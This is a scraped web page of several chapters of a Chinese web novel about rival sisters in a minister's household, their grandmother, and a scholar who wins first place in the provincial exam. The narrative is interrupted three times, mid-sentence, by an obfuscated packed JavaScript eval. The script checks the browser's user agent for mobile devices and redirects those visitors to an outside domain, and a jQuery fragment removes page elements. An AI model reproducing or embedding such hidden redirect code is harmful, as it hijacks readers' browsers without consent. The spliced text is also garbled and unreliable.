谢盈微微低下头,姿态谦逊,“是诸位相让,老板也给了提示,不然我也猜不到。祝老板生意兴隆,日进斗金。” 谢盈给照水使了个眼色,照水过去把玉兔灯拿了回来。 老板笑呵呵的,又开始说下一个谜题,众人又忙着猜灯谜了,最好看的玉兔灯虽然被赢走了,还有别的彩头在。 谢盈不欲在这里凑热闹,朝着谢宜走过去。 徐子安上前两步,手在袖子下紧紧握成了拳,“谢二姑娘。” 谢盈点了下头,慢慢停在了谢宜面前,“早就叮嘱过你莫要心急,你在外代表的是尚书府的脸面。时辰不早了,我先回了,你也早些回去。” 谢宜低着头道:“是,二姐姐。” 谢盈又看了眼徐子安,倒是会英雄救美。 徐子安跟了两步,又喊了声谢二姑娘。 谢盈想起自己还在赌坊押了八十两银子,遂道:“公子安好,刚过乡试,公子考得如何?” 徐子安有些紧张,想了想,自己考得还算不错,便答了两个字,“尚可。” 谢盈笑了一下,梦中徐子安考中解元,在京城一众考生中排头名。既然有学问,只要稳定发挥就好。她道:“那祝公子蟾宫折桂,金榜题名。” 她冲着徐子安点了下头,就带着丫鬟回了。 徐子安目送谢盈离开,谢宜在一旁看了半响,开口道:“徐公子。” 徐子安回过神来,“谢姑娘。” 谢宜道:“刚才多谢公子帮忙解围,真是让公子见笑了,我也没想到这儿是在猜灯谜,一时兴起,才作了首词。” 徐子安摇了摇头,“我也没帮上什么忙,言重了。谢姑娘若想作诗作词,如云客栈今晚有个小诗会,便以中秋为题,姑娘可以去那边。” 谢宜心里一暖,刚要说话,头顶传来一声嗤笑。 她皱着眉仰头朝声音来处看去,书坊旁边是座酒楼,有两位公子站在二楼窗边。 一个一身艾绿,面容透着几分意气,眼睛圆,笑得好似小动物。另一个身穿暗蓝色长衫,上面花纹谢宜不认得,但远看流光溢彩的,估计里面掺了银线。他半靠着窗,手里拿着酒壶,因为喝过酒唇色盈润,生了双瑞凤眼,眼睛狭长,眼中带着两分嘲弄,以至于唇角弯起的弧度都有些凉薄。 谢宜抬头看去,若二人笑得不是自己,她倒还觉得两人衣冠楚楚,可是,那个圆眼公子又笑了两声。 纪彦道:“实在对不住,刚姑娘说见笑,我们就笑了,姑娘可莫怪。我们说莫怪,姑娘应该不怪吧。陆兄,你也是,有何好笑的。” 旁边那人往下扫了一眼,又喝了一口酒,“有人招笑,我还不能笑吗。” 徐子安皱着眉道:“二位何故笑?” 陆铮居高临下地看着徐子安,半响,他勾起唇角,“不笑难道哭吗?不过若是刚才那位姑娘见到此番场景,大概是要哭出来了。” 二人已经在楼上看了一会儿了,纪彦先看见的,而后招呼陆铮过来看。 也有意思,做姐姐的为妹妹解围,才刚走,没想到这好妹妹转头就朝着这男子道谢,对自己姐姐却一句好话没有。更可笑的是,做妹妹的对着男的笑,男的对着人家姐姐笑。 有这好戏,陆铮都想请人给这俩搭个戏台子。 谢宜低着头,刚出了丑,怕谢盈又回去告状,而且这俩人穿得贵气,她不敢去理论。 徐子安想起了谢盈,他看了谢宜两眼,发觉自己在这里不妥,“谢姑娘,我刚考完,同县的几个在这儿庆贺,楼上还有同窗在等我,就先失陪了。” 谢宜点了下头,也没了再去诗会的兴致,带着丫鬟回府。 纪彦咳了两声,往下张望着,“这就走了?” 陆铮:“不走做什么,难道在这儿搭个戏台子给你唱一出?” 他对着风喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这梦缠了她许久,却也不全是坏事,至少帮她规避了许多事,谢宜没有像梦中一样,什么事都压她一头。 在街上转完,谢盈就回府了,时辰已经不早了,东西她明儿让丫鬟给宁姐儿送去就是了。 次日,天气不错。 入秋之后天气好,这几日风轻云淡,让人心旷神怡。 谢盈一早就在正院请安,然后就去了寿安堂。自祖母寿宴之后,她日日过来看。 赵氏年纪大了,大夫给开了两张药膳方子,每日都要喝。不过只要和药沾边儿的味道都不好,谢盈都是亲自服侍赵氏吃药。 往日她来得早,都是她快走了谢宜才来,没想到今日谢宜比她来得还早。 谢盈一进屋就闻到一股香甜味儿,进屋时看着谢宜跪坐在赵氏身边,手里捧着一只白玉碗甜汤,用银羹匙一勺一勺地喂着。 赵氏吃得香甜。 谢盈行了个礼,“孙女见过祖母。” 赵氏点了点头,“今儿让宜儿服侍我喝药吧,这儿用不着你,回去吧。” 谢宜低着头,又给赵氏喝了口奶茶,这是她早起做的,如今她管家连皮毛都没学到,若是还跟在沈氏身边学,那得学到猴年马月。 11. 第十一章 孝心 谢宜觉得沈氏是故意的,不然怎么能教得这么慢。沈氏偏心谢盈,而她无人可以依靠。 府里她能靠着的只有老夫人,赵氏年纪大了,精力不济,她只要嘴甜一点,把赵氏伺候高兴了,然后借着孝顺的由头让赵氏歇着,自己去做生意,没准儿连本钱都不用出。 谢宜还有些后悔,早知道她当初就不在沈氏和谢昌韫面前说要和谢盈一起了。好在古代以孝为先,她在寿安堂陪着赵氏,就不用去正院学管家了。 沈氏再大,能大得过赵氏吗。 而且别看赵氏岁数大,有时看着也严厉,却是再心软不过的。谢宜说这是自己偶尔一次把奶和茶混到一起,没想到竟出奇好吃,就带过来让赵氏尝尝。 谢宜服侍赵氏尝过,赵氏很喜欢,当即就从手腕上褪下来一只花丝金镯子,还夸她有孝心。 谢宜虽然别有目的,可赵氏确实是她来这个世界之后对她最好的人,心里也生出几分动容来。 谢宜笑着看向赵氏,道:“孙女也没别的事儿,就想多陪着祖母。而且平日也没什么可以说话的人,跟祖母在一块儿我觉得亲近得很。您喜欢喝这个,以后孙女每日都做给您喝。孙女这些日子,还学做了好多点心呢,到时您尝一尝,指定喜欢。” 赵氏听得晕乎乎的,这会儿谢盈也过来了,赵氏嫌人多,就让谢盈先回去。 谢盈愣了愣,扫了眼谢宜,谢宜眼里带着两分得意。 谢盈没急着走,她对赵氏身边的赵嬷嬷道:“嬷嬷,祖母的药膳巳时之前要喝完,而且还得先用早饭……” 未等谢盈说完,谢宜就道:“二姐姐你放心吧,有我在,一定好好服侍祖母吃药膳。” 谢盈笑着点了点头,朝着赵氏行礼告退,“那孙女就先退下,” 从寿安堂出去,谢盈面色有些凝重。 梦里也有这一遭,不过是在一月前,祖母的寿宴之后。谢盈自寿宴之后就不被赵氏待见,而谢宜常常寿安堂跑。 可寿宴上,因为谢盈指出事先送过衣裳,赵氏并没有像梦中那样偏心谢宜。这都快过去一个月了,竟然又要和梦境重叠。 刚刚她在屋里闻到的满是香甜味的甜汤叫奶茶,梦里谢宜就是靠着这个和几样新奇点心赚得盆满钵满。到后来京城的百姓几乎人手一杯,这个都出现了,那铺子还远吗。 梦里谢盈没有痛觉,也尝不出饭菜的味道。她忍不住想,有那么好喝吗?难道是琼浆玉夜,喝了能长生不老。不过闻着确实香甜,可是这样的东西日日喝,就不会腻吗。 谢盈又去了正院,沈氏朝她招招手,“来得正好,一会儿你三妹妹过来了,让她写礼单试试,只看不写,看一辈子也难学会。” 自家儿女在外关乎着谢家的脸面,若连帖子都不会写,嫁到婆家怎么管家理事,别人听了只会以为谢家未曾管教过。 谢盈摇了摇头,“母亲,三妹妹今儿应该不会过来了,刚我去寿安堂,三妹妹在陪着祖母。” 沈氏道:“难为她一片孝心,那就明日再学,这又不急于一时。” 谢盈心道,估计明儿谢宜也不会过来。她总觉得谢宜是不想跟着母亲学管家才去寿安堂的,可这样想,未免把人想得坏了。 谢盈上午在正院院待了半天,帮着理账本。下午就在照影楼抚琴,自己和自己下棋,乐得清闲自在。 而谢宜在寿安堂待到中午才回去,她简直有苦难言。因为喂甜汤的时候她和赵氏还有说有笑,谢宜便以为喂药也差不多。 可等药膳端上来,谢宜闻到一股很明显的药味儿,闻起来都这样,喝着肯定更难喝。 尤其赵氏刚喝了甜的,药膳在嘴里味道就更加明显了。 赵氏直接说不喝,让丫鬟把药膳拿走,丫鬟就面露难色地看着谢宜。 谢昌韫如今是吏部尚书,沈氏管家又有一手,府上的事基本上不用赵氏操心。寿安堂里光嬷嬷就四个,丫鬟有八个,说赵氏养尊处优是一点都不过分。不仅养尊处优,还因为上了年纪偶尔脾气有些古怪。谢宜好话都说尽了,药膳还剩了小半碗。 因为喂的时间长,药膳也凉了,她闻着比刚出锅时还难闻。赵氏怎么都不愿意喝,谢宜也没办法,她又不能逼着人喝。那小半碗药膳,便给倒了。 她也不想这样,奈何赵氏是真的不吃,总不能把她嘴掰开,把药灌进去吧。 都不知谢盈是怎么喂的。 她不是原身,和赵氏毕竟不是亲祖孙,也没什么感情。谢宜不禁想,四个嬷嬷六个丫鬟围着她转都不成,都忙活不过来,这老太太可真难伺候。 下午谢宜在屋里躺了半天,可算缓了过来。一想明儿还要去寿安堂伺候,她整个人都不好了。 在床上坐了一会儿,谢宜想到一主意,既不用反悔不去,又能让赵氏早早喝完。谢盈不是关心赵氏身体,还嘱咐嬷嬷喂药吗,那谢宜就把这费力不讨好的活让给她。 谢宜就借口早起做点心晚到一会儿,等过了赵氏吃药的时辰再过去。 次日一早谢盈又去寿安堂,她没看见谢宜。见赵氏神色不太好,她问道:“祖母,是不是昨天晚上没休息好?” 赵氏的脸色很差,她按了按眉心,“昨儿晚上睡得是不好,白日倒是总犯困,可晚上精神,睡不踏实。” 赵氏昨儿夜里都没怎么睡。 谢盈过去给赵氏按头,这是她从府医那儿学的,按一按会舒服许多。 她没说什么,只静静在后面看着赵氏的脸色,瞧着赵氏脸色缓和了一些,谢盈给一旁丫鬟使了个眼色,丫鬟赶紧下去端药膳了。 很快,药膳就被端了上来,一个小坛子,里面放着一支汤勺,旁边摆着个青瓷小碗里。 炖的是鸽子,里面搭配好了药材。闻着是有药味,可却比喝苦药好一些。 谢盈放下手,赵氏也睁开了眼睛,“这东西喝了嘴里苦,喝这么多天了,当真是一点用都没有。” 谢盈笑了笑,“水滴石穿,哪儿能那么快就见效。不过药膳也喝了些日子,过两日再请府医过来看看。” 赵氏说道:“那干脆不喝了,都要换了,喝它还有什么用?” 老夫人皱着眉,还往后躲,她嫌药膳的味道难闻。 谢盈笑着道:“总归是有用的,不然,大夫就是拿着方子蒙骗您?都喝了这么久,您一双慧眼,谁骗得了您呀?” 赵氏笑了一下,府里的后辈,包括谢昌韫在内,她最喜欢的就是谢盈。会哄着她,哄得她还高兴。 等着丫鬟盛好,谢盈坐在赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢盈道:“头有些晕,不打紧。” 头晕是幌子,她想问问祖母的药膳是怎么回事,以前吃着还好呀,怎么不管用了。还有,为何白日晕乎乎的,晚上反倒精神。 照水点了点头,“是。” 谢盈深吸一口气,从这一个多月相处看,谢宜爱出风头,也喜欢往祖母那边跑。若是真的孝敬,谢盈愿意,可偏偏喂药躲走,喂完药才来。 谢盈也不想自己费心费力地哄着,谢宜拿些点心甜汤就占便宜去。 她也怕自己误会了,可连着两日,依旧是谢盈晨起去寿安堂伺候赵氏用完药膳,谢宜才带着点心过来。 谢宜觉得这样最好了,因为伺候赵氏喝药太难了,而奶茶蛋糕这些点心,不用她喂赵氏就会吃,而且还很喜欢。 谢宜今儿做了戚风蛋糕和蛋黄酥,赵氏昨儿早晨用了两个蛋黄酥,还有小块戚风蛋糕,奶茶喝了小半碗。谢宜心里高兴,谁不喜欢自己的手艺别人喜欢捧场,她还可以试试做糖醋排骨这些,想来赵氏也会喜欢的。 今儿谢宜打算试探着问问开铺子的事,若是开了铺子,这些点心不是想吃多少吃多少。 等丫鬟通禀,谢宜进了屋,谢盈也在。 谢盈:“三妹妹来了。” 谢宜行了个礼,打算等谢盈走了就说,但是谢盈今儿没走。 12.第十二章解元 谢宜不禁问:“今儿二姐姐不需要去母亲那儿吗?” 谢盈道:“母亲今天出门了,我过来陪会儿祖母。” 谢宜恍然,只不过谢盈在,她便不好开口提开铺子的事儿,这可怎么办。 谢宜提起精神,冲着赵氏笑了笑,“祖母,今儿我给您做了蛋黄酥和肉松小贝。蛋黄酥烤得时间长一些,孙女虽早起,可依旧来得晚了点。” 赵氏道:“你有这孝心就很不错了,快坐下吧。” 赵氏又同谢盈说道:“盈儿,这是你妹妹做的点心,味道极好,你也尝尝。” 谢盈笑着点了点头,“那我这是沾祖母的光了。” 她尝了一小块蛋黄酥,吃起来很是香甜,味道的确不错。可如果说多好吃,谢盈也没觉得。但赵氏喜欢,她不会唱反调的。“三妹妹当真手巧,我是半点都比不上,平日也只会和祖母说说话。” 谢宜觉得这话虽是夸赞,却不入耳,谢盈这是在和她显摆自己和祖母更亲近吗。 真是绿茶。 谢宜暗自磨磨牙,低声道:“我不过是没什么好送,所以才想做些点心,祖母和二姐姐不嫌弃就好。” 赵氏闻言眼中浮过一丝心疼,谢宜小娘不在,无人疼爱,虽然跟府外的姑娘比起来吃喝不愁,可是跟谢盈一比,还是差许多。这孩子有孝心,心思也赤诚,什么好的都往她这儿送。 谢盈眼中笑意更深,“三妹妹这就妄自菲薄了,论手艺,外面点心铺子的师傅都比不过你。而且什么叫没什么好送,我是知你谦逊,可外人听了还以为你拿破烂打发祖母呢。” 谢盈把点心放下,“我觉得这好得不得了,咸蛋黄细腻如沙,酥皮入口即化,还有豆沙馅儿也细腻。我爱吃得紧,祖母,孙女厚着脸皮跟你讨几块,好不好。” 两个孙女,赵氏还是更疼谢盈,毕竟从小看着长大,情分也深。对谢宜,更多是年纪大了眼里揉不得沙子,怕她受委屈,传出去也丢了尚书府的脸面。 赵氏道:“我也吃不了这么多,想吃你就拿去。” 谢宜脸上有些挂不住,谢盈这是在做什么,非要当着她的面要,是告诉她祖母更疼她,故意做给她看的? 谢宜道:“二姐姐若想吃,我再做就是,这是给祖母的,祖母又喜欢……” 谢盈笑了笑,“还是祖母疼我,不过三妹妹当真以为我抢祖母的点心,那可真的误会我了。我昨儿问了府医,祖母年纪大了,吃不得过甜的东西,而且白日要少喝茶水,不然白日就会犯困,夜里却睡不好。祖母年纪大了,这些最要注意,三妹妹一片好心,可长此以往精神不振,于身体有碍。” 谢盈看了眼赵氏,赵氏没想到自己这两日不适是因为这个,她还以为是药膳不管用了。 谢宜怔了怔,谢盈轻叹了口气,“我也愁呢,偏偏祖母年纪越大,越发孩子气,我劝也劝不得,只能想这么个法子了。” 谢宜脸色有些难看,“原来如此,是我想差了,未曾顾及祖母身子。” 赵氏握着谢盈的手,乖孙乖孙地喊了起来,谢盈道:“您得注意身子,不能多吃,这些我可就拿走了。” 赵氏这会儿恨不得一样都不碰,跟着谢盈道:“拿走拿走,你都拿去,以后想吃什么就来祖母这儿拿。” 谢盈说道:“祖母你也别怪三妹妹,三妹妹也是=好心,想着您喜欢吃才做来的。” 祖孙俩都坐着,只有谢宜站在一旁,她看谢盈一片拳拳之心,心里气得直痒痒,她还真是小瞧了这个姐姐。 赵氏抿直唇,话虽如此,可到底是谢宜没顾及她的身子。谢盈也孝顺,可时常往府医那儿跑,问她能吃什么不能吃什么,还学了按摩的手法。可谢宜来孝顺,只是送点心吃食。 心意最要紧,可是谢宜却像只做点心才送来这些,她生辰送的点心,这几日送的也是点心。都是府里的姑娘,就算月钱少,那也可以更尽心一些。想想这两日白日晕乎乎,晚上又睡不着,赵氏就一阵烦躁。 但到底是好心,赵氏虽然冷了脸却没怪罪,“嗯。” 谢盈笑了,“大夫说那药还得继续喝着,过些日子来看看需不需要换药方。您可不能再耍小孩子脾气。” 赵氏道:“只是喝些药罢了,有什么难的,瞧你说的。” 谢盈看了谢宜一眼,心里一笑,“还不是怕你喝不完偷偷给倒掉,赵嬷嬷都跟我说了,上次三妹妹在的时候还剩小半碗您就没喝,三妹妹什么都依着你,换我可不依的。” 赵氏面上一赧,“好了好了,就你话多,时辰不早了,宜儿你先回吧。” 谢宜深吸一口气,笑着行了一礼,“今儿是我没顾虑到,孙女告退。” 她从院子出去,还能听见俩人说话,说话声顺着窗子传出来,好似说给她听的。 谢盈跟赵氏撒娇,“祖母,您生辰我送的礼物呢,怎么不见?” 赵氏:“那不是收起来了,赵嬷嬷快给摆上。” 谢宜脚步不由加快了些,省着再听这些话。 如今她是真的不知道该怎么办了,要想再走这条路,就得细心咨询府医妥帖照顾赵氏。 偏偏赵氏脾气古怪,谢宜跟她又不是亲祖孙,保不齐什么时候不耐烦了,就前功尽弃,而且屋里丫鬟多,若是哪日皱个眉被人看见还得了。 送点心什么的,肯定是不成了,谢盈都说了那些话,若她还送,岂不是有故意害赵氏。 谢宜觉得谢盈真是讨厌,三番两次坏自己好事不说,还一股子茶味。次次明褒暗贬,小小年纪心急就那样深。偏偏这里古代人没脑子就吃她这一套,真是绿茶成精了。 谢宜咬了咬下唇,觉得不能坐以待毙,她得为以后打算。 另一边,谢盈跟着赵氏说了会儿就从寿安堂出来了,她去了正院,照云跟在后头,心里松了口气,还是姑娘有办法。 谢盈也不是有办法,这回能看出来是因为她关心祖母身子,可梦里还有好多事,不是只关心祖母就能解决的。 从今儿也能看出来,谢宜会做点心。但性子急于求成,对她不会的事儿,不肯下功夫,她可以从这上头入手。今日也只是打消了谢宜去讨好祖母的念头,若是她真的孝顺,谢盈不会理会,可偏偏让祖母喝茶吃点心,本就该少吃。 但凡她多花些心思呢…… 谢盈去了正院,离中午还有些功夫,她可以给沈氏帮帮忙。 沈氏这些日子忙,也没功夫搭理谢宜,学管家理事,教的东西都是一样的,且看自己认不认真。虽然谢宜是庶出,可若她勤学肯问,沈氏也会教,但总不能让她一个做母亲的追着谢宜屁股后面问。 沈氏给谢盈了两张帖子,“安阳公主月初邀你们去云山同游,也能见见世面,别整日在家里待着,另一份你让人给你妹妹送去。” 沈氏觉得女儿什 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这几日也有变化,有人押世家公子纪彦,众所周知世家家世好,请的先生也好,通常来说是比寒门子弟考中的几率大。县城周边的几个案首还有几个有名气的都有人押,徐子安固安来的,名不见经传,赔率很高。 照云心里慌慌的,那可是八十两银子,就算自家姑娘有钱,可谁想银子打水漂去。“姑娘,现在押纪公子林公子的多,不然咱们改一改?” 谢盈摇了摇头,且不说买定离手回不了头,就算能她也不愿改,徐子安赔率高赚得也多,打水漂就打水漂,若和梦里一样,她岂不是赚大发了。 若是等下次,就不成了,一旦徐子安中了解元,那明年春闱押他的只多不少,赔率低,赚也赚不多。 谢盈道:“等着就是了,后日是不是就放榜了?” 照云点点头,“是,在城南贡院处,姑娘,这两日城南可热闹了,好多学子彻夜不休,欢饮达旦。” 谢盈笑了笑,到明儿就有人欢喜有人愁了。 往年放榜,有人经受不住打击,从高楼一跃而下,甚至投河自尽的都有。这种时候,别人越是心慌,就越要沉住气。 谢盈道:“照云,你去附近定间雅间。” 她也想去看看。 放榜这日桂花飘香,不少学子、小厮都在贡院守着。谢宜也来了,她今儿扮的男装,过来是想看看徐子安中没中。 天刚亮,礼部的人就把今年榜单张贴出来,谢宜一眼就看中了徐子安的名字,是解元! 茶楼内,谢盈看着照水,“解元,没看错?” 照云点点头,“奴婢看得很清楚,就是解元,徐公子中了解元!” 谢盈道:“那可太好了。” 按昨日的赔率算,这次连本带利,谢盈能赚八百多两。 徐子安今日也在等放榜,乡试过后就是会试,这半个月他只在中秋那晚喝酒去了,其余时候都在客栈温书。今日放榜,徐子安想知道名次,但今日人多,他便让书童去了。 书童刚出去一会儿就回来了,“公子中了!你中了解元!” 徐子安道:“你刚出去怎么知道的?” 书童:“小的出门就看见谢二姑娘什么的丫鬟了,她告诉的!” 徐子安愣了愣,“原,原来如此。” 13.第十三章 筹谋 徐子安眼里带了两分笑意,很快又消失不见,他问:“谢家有这次赴考的公子吗?” 书童道:“听闻谢府只有一个公子,不过已经娶妻了,他和谢尚书一个在吏部一个在工部,坊间常有美名。” 徐子安点点头,兴许是谢二姑娘外祖家有考生,所以才打听的,不是因为他。可万一呢,想起这种可能,徐子安心跳得都快了。 对徐子安来说,他就算中了解元也不过是一普通人,可谢二姑娘如天上明月高不可攀,他不敢心生妄想,只不过心里还是隐隐有期盼。 明年开春还有会试,他这次是第一名,可全国上下聪慧的学生很多,他万不可懈怠,或许只有前三甲才能有机会…… 徐子安道:“这两日若有人来贺喜,就说我忙着温书一概不见。若有诗会什么的,帖子拿来给我看。” 锦上添花之喜会耽误功课,这些日子他就不理会了,但诗会什么的不能不去,这于日后仕途有益。 书童点点头,就去门口守着了,省得打扰徐子安温书。 而谢宜自看榜之后就带着丫鬟来如云客栈了,这个时代的解元可和日后的大学生不一样,全京城就一个,全国上下也才几十个。 如今中了解元,日后没准儿就能考中会元状元,那可了不得。谢宜自认和徐子安相熟,在城南的时候他帮过自己,中秋那晚又帮自己解围,也算是朋友了。 既然是朋友,遇见这样大的喜事儿理应来登门贺喜。只不过这回谢宜让丫鬟去传话,下来的只是徐子安的书童。 书童看着谢宜不小心想请那日送礼去,谢宜说让他回去。今儿又来了,谢家三姑娘真是不拘小节,一个女子,竟然三番两次地找他家公子说话。 他辑了一礼,“谢姑娘,我们公子要温书,不见客。” 谢宜愣了愣,“你可说是我了?” 书童道:“公子谁也不见,姑娘请回吧。” 谢宜点了点头,还有几个月就春闱了,作为解元压力肯定更大,的确耽误不得。 她道:“那请替我和你们公子说一声,祝他会试金榜题名。” 书童点点头对话,“小的会转达的。” 谢宜有些失落,可又没办法,毕竟功课要紧,她也希望徐子安能高中。 这是她想的另一个主意,在谢家人人都向着谢盈,无人向着自己,原身又没别的亲人,那就只剩嫁人这一条路了。 只要嫁了人,离开谢家,关上门过自己的日子,自然谁也管不着她,到时候开铺子赚钱,日子肯定比在谢家好。徐子安算是备选,若能考中状元,那自是最好的。 另一边,谢盈带着丫鬟去了赌坊,银子到手了八百多两,虽然这银子不够后半辈衣食无忧,可银子多一点,就离梦中的结局远一点。 谢盈笑了笑,从银票里抽出来两张十两的银票,“照云,给你的。” 这些都是照云忙活的,给丫鬟们些银子,就算日后有难,也能有条出路。 照云欢喜道:“姑娘,这么多银子呢。” 谢盈点点头,“拿着吧。” 照云见到银子高兴,便忍不住为徐子安说了几句好话,“徐公子才学好,这次名次也是真高,京城能人那么多,他都能拔得头筹了。就是家世差了些,不然也堪为佳婿呢。” 谢盈愣了愣,梦里徐子安和谢宜一个是状元,一个是才女,郎才女貌佳偶天成。谢宜日子顺心如意,不仅如此,多年之后徐子安还为谢宜请封诰命。 日子是好,谢盈也羡慕,可感情的事勉强不得,尤其现如今徐子安对谢宜就有情义。谢盈想起诗会那晚徐子安送谢宜回来,还有中秋那晚,徐子安替谢宜解围, 徐子安定是心仪谢宜无疑了,夺人所爱的事谢盈做不出来。退一万步,就算徐子安日后不喜欢谢宜了,谢盈也不屑于嫁给他。 想想梦里二人你侬我侬郎情妾意,她可不想给自己添堵。 她不会嫁给陆铮,更不会嫁给徐子安。 谢盈冷下脸说道:“今儿就算了,这话以后不许再说。” 照云点点头,她原以为自家姑娘对徐子安有些情谊,毕竟见了几次,又让她押注,但今儿看好像不是那个意思。 也是,自家姑娘长得好学问好家世好,徐子安光有个解元功名,来年中不中还未可知,家世那样低微,怎么配得上姑娘呢。 谢盈让车夫回府,明年春闱她就不打算押了,因为押徐子安的只多不少。 在马房,谢盈看到谢宜了,她也刚回来,今儿又穿的男装。比起一般男子身形更纤细,也多了一丝俊秀气。 谢盈打算走,后面谢宜却走上前来喊了声二姐姐。 谢宜追上来道:“今日放榜,二姐姐也出门了吗?” 谢盈点点头,“嗯,出门凑凑热闹。” 谢宜说道:“那二姐姐也该知道了,今年京城的解元是徐子安。” 谢盈皱了皱眉,不明白谢宜说这个是什么意思,又为何同她说。 谢宜以为谢盈忘记了,解释道:“就是那晚送我回来的那位徐公子。徐公子功课很好,品貌也好……二姐姐可喜欢这样的男子?” 谢盈摇了摇头,谢宜笑着道:“那可太好了,有姐姐这话我就放心了。不过既然姐姐已经说了,日后若还和徐公子走得近,那可得想起今日的话。” 谢盈笑了笑,“妹妹心仪谁与我无关,不过婚姻大事,还是要依照父母之命媒妁之言。做女儿家的,还是该矜持含蓄些得好。” 谢宜才不在意这个,喜欢的自己要争取,封建社会包办婚姻,嫁娶前连面都没见过,却要一辈子把自己搭进去,那才是害人不浅。反而应该冲破桎梏,追求自己喜欢的人,不然一辈子对着个讨厌的,还有什么意思? 谢宜看她,不禁笑了笑,“二姐姐,你一定不知有些地方可以追求自己喜爱的人和事,也不用听父母之命媒妁之言。” 谢宜眼睛亮晶晶的,说这番话的时候心有意气。让谢盈不禁想起了那天晚上,父亲生气,罚了她,谢宜也同她说了一番有着大道理的话。 谢盈:“三妹妹怎么总有这么多说辞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498091|169986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前几日晚上不还和我说,女子不该困于内宅,今儿就想嫁人了?” 谢宜心道,她嫁人和谢盈嫁人怎么能一样,她是两心相悦两情相许,不掺杂任何东西。谢盈的那只是听父母之命嫁人,连夫君都没见过几面,是为了世家大族联姻的。 可谢宜又不知如何反驳。 谢盈道:“三妹妹想要嫁给谁心仪谁我不管,可丑话说在前头。府里可不止你一个姑娘,还有两位妹妹呢,往后还有宁姐儿她们,你想嫁人但别做出有辱谢家门风的事儿来,每日早些回来,衣着也妥当些。” 谢盈觉得自己说的是好话,同气连枝一荣俱荣一损俱损。 谢宜却道:“二姐姐,有一句话叫做,心里是脏的,看什么都是脏的。” 什么叫有辱门风?她做了什么谢盈这么看她,这里的人怎么都这样想,因为那晚?可那晚分明是有歹人,见她女扮男装又只有一个丫鬟跟着才出言调戏,而徐子安仗义出手。怎么在谢昌韫和谢盈眼里,她就丢人了,好像是她做了什么事。 谢盈愣了愣了,然后勾唇一笑,“三妹妹这样想我也没办法,我是好言相劝。女子贵在自重。就比如你扮男装,既然扮那就好好扮,至少把环痕遮一遮,腰间弄的粗些口脂也擦了。还有,不管你从前什么样,别那么高高在上,一口一个你不知道你没听过。好了,我言尽于此,三妹妹珍重。” 谢宜望着谢盈离开的背影哑然失笑,她这个姐姐真是蠢,真以为谢昌韫谢家看重她,那不过是看重家族,一个女子被这样蒙蔽也是可怜。 看谢盈这样,更加深了谢宜想要逃离谢府的决心。 如今只有嫁人这一个办法,在这个社会不嫁人是不成的,尤其是谢家这样的人家。她又没有小娘,只能等沈氏来给她安排亲事。但以沈氏的性格,她是谢盈的亲娘,自己不过是一庶女。沈氏能给她选什么好亲事,家里靠不住,那她只能靠自己。 谢盈是不会懂的。 谢宜回府看了看帖子,安阳公主办的宴会,她本嫌规矩多人多不想去,可没准儿能遇见徐子安。想了想,谢宜还是决定去。 九月初,京城一众马车前往云山山脚下,秋风飒爽天高云淡。今儿也是巧了,不仅有京城的贵女,还有前来采风的学生。 安阳公主很是好奇今年解元徐子安长什么样,便远远看了一眼,看后说道:“也就是人的样子,没什么大不了的。今儿我们好好玩就是,这儿风景好,再过些日子,天就冷了。” 谢盈带着谢宜过去寒暄几句,从前也没见过公主,但毕竟二人是谢家的女儿,公主也与她们笑着搭话。 很快,山上的几个学子也下来请安,一朝公主天皇贵胄,自有学子仰慕其风采。谢宜不想看这种场景了,可是她看见徐子安也过来了。徐子安先过来给公主请安,然后朝着她走过来。 徐子安的目光缓缓又坚定地落在谢盈身上,“见过谢二姑娘,今日当真是巧了,能在这里见到二姑娘。” 谢宜怔了怔,这就是她这个好姐姐所说的,不喜欢徐子安这样的男子? 14.第十四章 再学管家 谢盈同徐子安点了个头就离开了,二人并不熟识,所以谢盈没有和他多说话。 而谢宜看着徐子安的目光落在谢盈身上,就好像一只振翅欲飞的蝴蝶,走开不舍,留下又站不住脚。和中秋那晚一样,那晚徐子安也这样看着谢盈。当时她以为是自己的错觉,徐子安懂礼,目送自己姐姐离开也应当,可今日细想,根本不是那么回事儿。 谢宜当时还以为徐子安是为了自己。 她不禁细心回想自己和徐子安见面的几次,有好几次谢盈也在。诗会那日故意写字,让徐子安看她的字迹。当晚徐子安送自己回来,谢盈又故意提出让谢府车夫送徐子安回客栈。 多么懂礼的大家闺秀,什么都能顾及到,或许就是这样,徐子安才会留意谢盈的。 还有中秋晚上,谢盈明知她说错了,还故意把谜题说了引人注目。亏她以为谢盈那日是为她解围,其实不是。 真是个好姐姐,怎么那么喜欢出风头。有些人真是,便是自己不喜欢,也会吊着许多男子,想把男子玩弄于鼓掌之间,以此为荣,真令人不耻。 谢宜暗自咬了咬牙,原本她还只是把徐子安当做备选,可这样一来她偏偏想嫁过去。谢盈真以为她是高门贵女,对别人只要勾勾手就行了? 谢宜都不知徐子安喜欢谢盈什么,可若是什么都不喜欢又怎么会那样看着她呢。这边这么多女子,侍郎家里、大理寺寺卿家的,甚至还有世家贵女侯府伯府的姑娘,再说还有安阳公主在,徐子安都没看别人。 可二人不过见过几面,又能喜欢什么呢?喜欢谢盈貌美,还是喜欢她的家世,除了这两样她想不出别的了。 